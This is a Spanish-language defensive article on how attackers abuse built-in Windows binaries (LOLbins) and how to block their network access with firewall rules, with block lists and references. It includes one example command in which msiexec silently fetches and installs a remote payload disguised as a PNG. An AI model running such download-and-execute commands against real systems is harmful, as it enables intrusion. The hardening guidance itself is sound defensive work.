Los ataques modernos suelen emplear herramientas y programas que ya vienen incluidos en el sistema operativo Windows. Estos archivos binarios, como powershell.exe, regsvr32, rundll32, certreq.exe, certutil.exe y mshta.exe, son comúnmente utilizados por malware, troyanos de acceso remoto (RAT) y grupos avanzados persistentes (APT) para preparar e infectar dispositivos.
Los archivos binarios integrados como herramientas de ataque
El proyecto LOLbins, también conocido como Living of the Land, se enfoca en el uso de estos archivos binarios ya presentes en Windows. Estos programas evitan ciertas protecciones, como AppLocker, debido a que residen en la carpeta del sistema operativo y están diseñados por Microsoft.
Un ejemplo práctico es el siguiente comando:
msiexec /q /i http://192.168.100.3/tmp/cmd.pngEl proyecto LOLBAS ofrece una descripción detallada de cómo se puede abusar de estos archivos binarios para descargarse o ejecutar código.
Bloqueo de acceso a la red por parte de los archivos integrados
Existen scripts de PowerShell que crean reglas de firewall con el fin de bloquear el acceso a la red de estos archivos binarios, conocidos como LOLbins, que son legales y comúnmente utilizados en ataques.
Estos scripts evitan que las herramientas integradas de Windows accedan a Internet. Por ejemplo, usar expand.exe para acceder a un archivo remoto es extremadamente improbable y estaría mal visto si fuera necesario por razones legítimas.
Listas de bloqueo recomendadas
Estas listas de bloqueo deben usarse con cuidado porque el sistema operativo podría verse afectado:
- https://gist.github.com/rc-MikeDevens/f991325ad51b398f8cf68eb63416977f
- https://github.com/eneerge/Powershell-Firewall-Block-LOLbins
- https://www.xf.is/wp-content/uploads/2022/12/block-lolbins-winfw.txt (mirror)
- https://github.com/atlantsecurity/windows-hardening-scripts/blob/main/windows-11-hardening-script
Se recomienda implementar herramientas como Attack Surface Reduction rules, Advanced Windows Defender features, Arbitrary Code Guard y Exploit Protection, las cuales deberían utilizarse para brindar una mejor protección. Sin embargo, estas reglas se pueden utilizar en lugar de esas tecnologías para ofrecer cierta protección básica.
Fuentes relevantes
Créditos:
- https://lolbas-project.github.io/
- https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- https://www.xf.is/2022/12/05/blocking-living-of-the-land-binaries-lolbins-with-windows-firewall/
- https://pentera.io/blog/the-lol-isnt-so-funny-when-it-bites-you-in-the-bas/
- https://www.cisecurity.org/insights/blog/living-off-the-land-threats-looming-from-within
- https://blog.talosintelligence.com/hunting-for-lolbins/
- https://woshub.com/windows-firewall-settings-group-policy/
- https://medium.com/@dimitrismargaritis/prevent-legitimate-windows-executables-to-be-used-to-gain-initial-foothold-in-your-infrastructure-39771cd6ec90
- https://www.paloaltonetworks.com/blog/security-operations/playbook-of-the-week-fending-off-living-off-the-land-attacks/
- https://www.csnp.org/post/breaking-down-lolbas-attacks-with-the-help-of-hunter-gatherers
- https://github.com/mzfr/gtfo